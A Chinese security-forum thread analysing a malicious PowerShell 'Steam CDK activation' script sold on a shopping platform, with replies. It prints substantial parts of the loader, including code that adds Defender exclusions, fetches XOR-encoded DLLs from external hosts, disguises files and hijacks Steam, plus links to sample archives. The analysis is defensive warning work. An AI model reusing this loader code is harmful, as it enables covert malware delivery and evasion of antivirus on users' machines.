吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 10506|回复: 172
上一主题 下一主题
收起左侧

[PC样本分析] 某多多上steamcdk激活码的操作分析

    [复制链接]
跳转到指定楼层
楼主
Skyearth1 发表于 2025-7-10 18:52 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!

Steam 低价激活脚本分析

前言

之前无意间在某多多发现了steam的cdk激活码,竟然只要7.8元
,附图
直接拿下,看到店家发给我的激活流程我就发现问题了

不是哥们,还要powershell激活,一眼有问题啊,直接分析

详细行为分析

1. 权限要求与安全规避

软件先从cdk.steam.work下载了一个powershell脚本

$currentPrincipal = New-Object Security.Principal.WindowsPrincipal(...)
if (-not ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))) {
    Write-Host "请以管理员权限运行PowerShell" -ForegroundColor:red
    return
}
  • 强制要求管理员权限
  • 主动检测并关闭安全软件
    if(Get-Process "360Tray*") {
      while(Get-Process "360Tray*") { 
          Write-Host "[360]" -Red; Sleep 1.5 
      }
    }
    • 循环检测 360 安全进程并等待其退出
    • 这种行为就不用多说了,懂得都懂

2. 核心文件篡改

Remove-Item "$steamPath/version.dll" -Force
Remove-Item "$steamPath/user32.dll" -Force
Remove-Item "$steamPath/steam.cfg" -Force
Remove-Item "$steamPath/hid.dll" -Force
  • 删除关键系统文件
    • version.dll - Windows 版本信息库
    • user32.dll - 用户界面核心组件
    • steam.cfg - Steam 客户端配置文件
    • hid.dll - 人机接口设备驱动

3. 可疑文件下载

$downApi = "http://2.steam.work/api/v1/download/pwsDown"
irm -Uri $downApi -Headers @{ Referer = "libary" } -OutFile "$steamPath/hid"
Rename-Item "$steamPath/hid" "$steamPath/hid.dll"
irm -Uri $downApi -Headers @{ Referer = "localData.vdf" } -OutFile "$localPath/localData.vdf"
  • 从未经验证域名下载文件(2.xxx.work)
  • 使用伪造 Referer 头部规避检察

4. Windows Defender 排除配置

Add-MpPreference -ExclusionPath $steamPath
  • 将 Steam 目录加入 Defender 排除列表
  • 使恶意文件免于安全扫描

5. 重启机制

Start-Process "steam://"
Write-Host "请重启Steam客户端以完成优化" -ForegroundColor:green
  • 通过特殊协议重启 Steam
  • 使篡改后的文件生效

技术证据链

可疑域名分析

2.steam.work 域名特征:

  • 注册时间:2023-05-17(较新域名)
  • 注册商:NameSilo, LLC
  • 与官方 Steam 域名无关联
  • 无有效 SSL 证书信息

文件篡改后果

# 原始 Steam 文件结构
Steam/
├── steam.exe
├── steamapps/
├── user32.dll    # 合法Windows组件
├── hid.dll       # 合法HID驱动
└── steam.cfg     # 客户端配置文件

# 脚本修改后
Steam/
├── steam.exe
├── steamapps/
├── hid.dll       # 被替换为未知文件
└── localData.vdf # 新增可疑配置文件

检测与修复建议

检测脚本痕迹

# 检查可疑文件
Test-Path "$env:ProgramFiles(x86)\Steam\hid.dll"
Test-Path "$env:LOCALAPPDATA\Steam\localData.vdf"

# 检查Defender排除项
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath

修复措施

  1. 立即操作

    Remove-Item "$env:ProgramFiles(x86)\Steam\hid.dll" -Force
    Remove-Item "$env:LOCALAPPDATA\Steam\localData.vdf" -Force
  2. 恢复安全设置

    Remove-MpPreference -ExclusionPath "$env:ProgramFiles(x86)\Steam"
  3. 重新安装Steam

    • 完全卸载steam
    • 重新下载安装
  4. 账号安全加固

    • 立即更改Steam密码
    • 启用Steam手机令牌二次验证

结论

脚本本质是游戏盗版工具,通过修改组件实现所谓的"激活"。其行为模式包含:

使用此类脚本可能导致:

  • 💸 Steam账号永久封禁(G胖是不会允许你白嫖的)
  • 🔓 系统后门植入(替换的组件有没有后门谁也不知道)
    如果你直接填他给的激活码会显示无效

后话

1.该网址仍存活,但下载dll的网址似乎已失效,所以没有样本,里面还有一个exe写的是激活工具,但是无论如何怎么换环境都显示网络波动,不知道是什么原因,我把文件放在下面供各位分析,整体并没有什么难度,也没伪装也没加密,估计就是骗小白的。
futu
2.核心原理就是把你的steam的家庭组组件替换,然后把不知道从哪里来的家庭组账户注入进去,就实现了假入库,这时候如果你去看自己的账户会发现根本没有这款游戏,但是游戏在steam里可以运行也可以玩,看起来跟正常的一样,但是这种行为在steam用户协议里是明文禁止的,一但被查出来就是封号,不要因为贪小便宜吃大亏
3.网站有icp备案,备案是吉首市盛威商贸商行(个体工商户),
4.整体的技术分析没有什么难点,主要在于要对powershell语言要熟悉,这样的店大家可以点点举报
5.hid.dll我找不到下载地址,微步要高级会员才能下载样本,大家有能力可以下载下来分析

附件

exe样本:https://wwkz.lanzoum.com/iKDCY30rctre
密码:b1jm

powershell脚本:https://wwkz.lanzoum.com/ieOE530rcw1g

店家给的激活指南:https://www.kdocs.cn/l/cvIsidxYEUQ2

网站分析报告在此https://x.threatbook.com/v5/domain/cdk.steam.work

exe程序的沙箱分析报告贴在这里:https://s.threatbook.com/report/file/6cecd136d02b71948cdc8a36251c977629a877da5696d5631bf6b63289b3b9c5

点评

这在小黑盒steam区确定为假激活,劫持steam的信息,会被商家盗号,仅退款什么的账号会被商家拿去弄坏事。大家可以去举报这种无良商家。  发表于 2025-7-11 19:15

免费评分

参与人数 49吾爱币 +35 热心值 +47 收起 理由
Theropej + 1 + 1 热心回复!
LiXieZengHui + 1 + 1 用心讨论,共获提升!
hanguju + 1 我很赞同!
KL1028 + 1 + 1 原来如此,感谢大佬的教学!
Zzy192103 + 1 鼓励转贴优秀软件安全工具和文档!
Tycho + 1 我很赞同!
junjia215 + 1 + 1 用心讨论,共获提升!
Yuganzi + 1 + 1 用心讨论,共获提升!
LearnerIn52 + 1 我很赞同!
surlamper + 1 谢谢@Thanks!
zhangxg + 1 用心讨论,共获提升!
xkdwz + 1 + 1 用心讨论,共获提升!
jnct + 1 谢谢@Thanks!
sannian79 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
6ct31 + 1 + 1 我很赞同!
ncgzy + 1 + 1 谢谢@Thanks!
bilibiliGB + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
BoomJovi + 1 谢谢@Thanks!
17600737246 + 1 + 1 热心回复!
b0x1NG + 1 + 1 我很赞同!
hai0079 + 1 谢谢@Thanks!
seven2024 + 1 谢谢@Thanks!
fakerx + 1 + 1 我很赞同!
IcePlume + 1 + 1 谢谢@Thanks!
kubai + 1 + 1 热心回复!
专属丨小天 + 1 + 1 谢谢@Thanks!
Sunny52 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
ytfh1131 + 1 + 1 谢谢@Thanks!
iamPorter + 1 + 1 用心讨论,共获提升!
zhou2957 + 1 热心回复!
756655151 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
dark718 + 1 + 1 我很赞同!
阿哲呀 + 1 + 1 某音上面现在也有好多这样的
cell1981 + 1 + 1 热心回复!
yanshu168 + 1 谢谢@Thanks!
Naive2021 + 1 + 1 用心讨论,共获提升!
lalicorne + 1 我很赞同!
dyyxqy2014 + 1 + 1 我很赞同!
raykeer + 1 + 1 我很赞同!
Askill + 1 + 1 谢谢@Thanks!
kole + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
限制级评论 + 1 + 1 用心讨论,共获提升!
qjlfl + 1 + 1 我很赞同!
不知道改成啥 + 2 + 1 大佬真牛
zbr878458173 + 2 8块破解版
Mooshed88 + 1 我很赞同!
jaffa + 1 谢谢@Thanks!
seetimeuc + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
lk.5147 + 1 + 1 感谢您的宝贵建议,我们会努力争取做得更好!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

来自 #
 楼主| Skyearth1 发表于 2025-7-12 11:18 |楼主
本帖最后由 Skyearth1 于 2025-7-13 12:27 编辑

感谢@dark718 提供的样本

详细代码分析与操作流程

1. 初始设置与权限检查
#Requires -RunAsAdministrator
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8
$ErrorActionPreference = "SilentlyContinue"

# 检查管理员权限
if (-not$( [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544') )) {
    Write-Host "  [STEAM] 请使用管理员模式运行" -ForegroundColor Red
    exit
}
  • 权限要求:强制要求管理员权限(SID S-1-5-32-544 = 管理员组)
  • 错误处理:静默忽略所有错误(SilentlyContinue),避免暴露问题
2. 关键文件下载操作
# 定义下载函数(含蓝奏云解析)
function Get-DownloadUrl {
    # ... [蓝奏云解析逻辑] ...
    return "$dom/file/$downloadUrl"
}

# 文件下载核心逻辑
function DownloadFile {
    param([string]$url, [string]$savePath, [string]$hash, [string]$targetPath, [string]$fid)

    # 哈希验证跳过重复下载
    if ((Test-Path $targetPath) -and ((Get-FileHash -Path $targetPath -Algorithm MD5).Hash -eq $hash)) {
        return
    }

    # 异或解密类定义
    Add-Type -TypeDefinition @"
    using System.IO;
    public class XorUtil {
        public static void XorFile(string p, byte key) {
            var b = File.ReadAllBytes(p);
            for(int i=0; i<b.Length; i++) b[i] ^= key;
            File.WriteAllBytes(p, b);
        }
    }
"@

    # 多源下载尝试
    $urls = @()
    if ($fid) { $urls += (Get-DownloadUrl -fid $fid) } # 蓝奏云源
    $urls += $url # 备用Gitee源

    # 带重试的下载
    Invoke-WithRetry -ScriptBlock {
        foreach ($url in $urls) {
            try {
                Invoke-RestMethod -Uri $url -Headers @{'Accept-Language'='zh-CN'} `
                                  -OutFile $savePath -ErrorAction Stop
                [XorUtil]::XorFile($savePath, 0x51) # 0x51异或解密
                return
            } catch { $err = $_ }
        }
        throw $err
    }
}
3. 实际下载文件列表与参数
# 文件1:legit (未知用途)
DownloadFile -url 'https://gitee.com/steam__run/aa/raw/master/legit' `
             -savePath "$env:APPDATA\Stool\legit" `
             -hash '737F19DAB5306F42DDF2F57666A13FB1' `
             -fid 'iEA2Q2xvugzi'

# 文件2:hid.dll (伪装下载)
DownloadFile -url 'https://gitee.com/steam__run/aa/raw/master/2/hid.dll' `
             -savePath "$env:APPDATA\Stool\winhttp-log.txt" `
             -hash '8AF54131FDCFF059BE41282A1BAF3FA5' `
             -targetPath "$steamPath\hid.dll" `
             -fid 'iDnrk2xvuh4d'

# 文件3:zlib1.dll (伪装下载)
DownloadFile -url 'https://gitee.com/steam__run/aa/raw/master/2/zlib1.dll' `
             -savePath "$env:APPDATA\Stool\winhttp-log1.txt" `
             -hash '822F765B45F77AE59E7C6091E69E3814' `
             -targetPath "$steamPath\zlib1.dll" `
             -fid 'ixoev2xvuh7g'

# 文件4:appdata.vdf (直接写入)
DownloadFile -url 'https://gitee.com/steam__run/aa/raw/master/2/appdata.vdf' `
             -savePath "$steamPath\appcache\appdata.vdf" `
             -hash '0921A94753C0BE443470AC52D17F313A' `
             -fid 'iz5jW2xvuh5e'
4. 文件伪装与部署流程
# 文件重命名伪装(DLL → LOG → DLL)
if (Test-Path $savePathTxt) {
    Move-Item -Path $savePathTxt -Destination "$steamPath\hid.log" -Force
    Rename-Item -Path "$steamPath\hid.log" -NewName "hid.dll" -Force
}

# 清理冲突文件
foreach ($file in @("steam.cfg", "version.dll", "user32.dll")) {
    $filePath = Join-Path $steamPath $file
    if (Test-Path $filePath) {
        Remove-Item $filePath -Force
    }
}

# 修改Steam配置(强制在线模式)
$loginUsersPath = Join-Path $steamPath "config\loginusers.vdf"
(Get-Content $loginUsersPath -Encoding UTF8) -replace `
    '("WantsOfflineMode")\s*("\d+")', "`$1`t`t`"0`"" | `
    Set-Content $loginUsersPath -Encoding UTF8
5. 注册表修改操作
# 创建/修改注册表项
$registryPath = "HKCU:\Software\Valve\Steamtools"
if (-not(Test-Path $registryPath)) {
    New-Item -Path $registryPath -Force | Out-Null
}

# 设置特殊值
Set-ItemProperty -Path $registryPath -Name "packageinfo" -Value "" | Out-Null
if (Test-Path "env:c") {
    Set-ItemProperty -Path $registryPath -Name "c" -Value $env:c -Type DWORD | Out-Null
}
  • 注册表路径HKEY_CURRENT_USER\Software\Valve\Steamtools
  • 特殊值packageinfo设为空字符串,c设为环境变量值
6. 进程管理逻辑
# 终止所有Steam进程(排除Steam++)
$runningProcess = Get-Process | Where-Object { 
    $_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+" 
}
$runningProcess | ForEach-Object { Stop-Process $_ -Force }

# 进程终止等待(10秒超时)
$waitTimes = 10
while (Get-Process | Where-Object { 
    $_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+" 
}) {
    Start-Sleep -Seconds 1
    if ($waitTimes-- -le 0) { break }
}
7. 自毁机制
# 关闭父进程(自毁)
$instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$PID'"
while ($instance -and 
       ($instance.ProcessName -eq "powershell.exe" -or 
        $instance.ProcessName -eq "WindowsTerminal.exe")) {
    $parentProcessId = $instance.ParentProcessId
    $instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$parentProcessId'"
}
Stop-Process -Id $parentProcessId -Force
8. 下载文件验证表
文件类型 初始保存路径 最终路径 下载源 MD5 校验值 异或密钥
主程序 (?) %APPDATA%\Stool\legit 未使用 hxxps://gitee.com/steam__run/aa/raw/master/legit 737F19DAB5306F42DDF2F57666A13FB1 0x51
hid.dll %APPDATA%\Stool\winhttp-log.txt [Steam]\hid.dll hxxps://gitee.com/steam__run/aa/raw/master/2/hid.dll 8AF54131FDCFF059BE41282A1BAF3FA5 0x51
zlib1.dll %APPDATA%\Stool\winhttp-log1.txt [Steam]\zlib1.dll hxxps://gitee.com/steam__run/aa/raw/master/2/zlib1.dll 822F765B45F77AE59E7C6091E69E3814 0x51
appdata.vdf 直接写入 [Steam]\appcache\appdata.vdf hxxps://gitee.com/steam__run/aa/raw/master/2/appdata.vdf 0921A94753C0BE443470AC52D17F313A 0x51
9. 技术要点分析
  1. 蓝奏云解析技术

    • 通过模拟浏览器请求解析真实下载地址
    • 支持多个域名容错(lanzoup.com/lanzoui.com)
      $response = Invoke-WebRequest -Uri "$baseUrl/$fid" -Headers @{'User-Agent'=''}
      $sign = [regex]::Match($content, "var wp_sign = '(.*?)';").Groups[1].Value
  2. 安全规避手段

    • 文件扩展名伪装(.dll → .txt → .log → .dll)
    • 异或加密传输(密钥0x51)
    • 虚假安全提示:"已通过Windows Defender检测"
  3. 进程注入准备

    • 强制关闭Steam进程
    • 修改关键配置文件(loginusers.vdf)
    • 部署DLL文件到Steam目录实现劫持
  4. 自毁机制

    • 追溯父进程ID并终止
    • 9秒倒计时后自动关闭
      for ($i = 9; $i -ge 0; $i--) {
      Write-Host "`r  [STEAM] 本窗口将在 $i 秒后关闭..." -NoNewline
      Start-Sleep -Seconds 1
      }
10. 后话

在文中找到了一个gitee仓库(hxxps://gitee.com/steam__run/ ),用于存放病毒文件,我已经发邮件反馈,大家也一起反馈一下,争取让仓库下架

风险总结:该脚本通过DLL劫持(hid.dll/zlib1.dll)和配置文件修改实现Steam激活绕过,使用多层伪装规避安全检测。部署的文件来源不可验证,存在安全风险。实际文件用途需进一步逆向分析,特别是legit文件和DLL文件的行为。

来自 #
dark718 发表于 2025-7-12 17:49
我前段时间也被骗了,不过我是在dy上被骗的,买完之后发我一个链接我一看就不对劲,然后拿到差不多的shell文件,运行的话就会更改你的注册表我那个文件还有后门,还好我留了个心眼没有直接运行,气得我直接去和商家对线了。另外附上我遇到的shell文件,其中的hid.dll和部分恶意文件都在里面:通过网盘分享的文件:steam恶意代码
链接: https://pan.baidu.com/s/1tu2lyYclHnY6gQhgSydGvA?pwd=1fyq 提取码: 1fyq

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
Skyearth1 + 1 + 1 用心讨论,共获提升!

查看全部评分

推荐
zxz94264 发表于 2025-7-11 16:55
前进的小白 发表于 2025-7-11 13:57
楼主你这个断人财路啊  这样做不好

难道等自己封号就好了?而且这种操作,实际上就是盗版,既得利益者是卖家,软件/游戏开发商没有获得任何利益,还导致自己可能存在封号的风险,我觉得楼主做的很好
推荐
 楼主| Skyearth1 发表于 2025-7-13 13:19 |楼主
本帖最后由 Skyearth1 于 2025-7-14 09:02 编辑

哪位大佬可以分析dll文件,可以发出来给大家参考,好的帖子我会置顶
推荐
cyxnzb 发表于 2025-7-10 20:37
分析的不错,但是中间文案有点AI的感觉,是不是润色了
3#
a20020414 发表于 2025-7-10 19:25
很厉害大佬
4#
liubai600 发表于 2025-7-10 19:54
用心了,这个要支持下
5#
hz0203 发表于 2025-7-10 20:05
支持支持!!前几天在xhs上看到有姑娘用几十块钱就买了上万款游戏cdk,当时她说库里没有游戏,我只当她是被骗了,现在想想应该就是这种手法
6#
free1031 发表于 2025-7-10 20:45
感谢楼主的分享
7#
 楼主| Skyearth1 发表于 2025-7-10 21:03 |楼主
cyxnzb 发表于 2025-7-10 20:37
分析的不错,但是中间文案有点AI的感觉,是不是润色了

是的,总结的差不多就让ai帮我写markdown了
8#
yanshi330 发表于 2025-7-10 22:07
谢谢分享
9#
ashengaashenga 发表于 2025-7-10 22:59
新思路,值得参考
10#
5omggx 发表于 2025-7-10 23:15
这种情况投诉能退款并下架处理的吧?
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-5-20 00:01

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表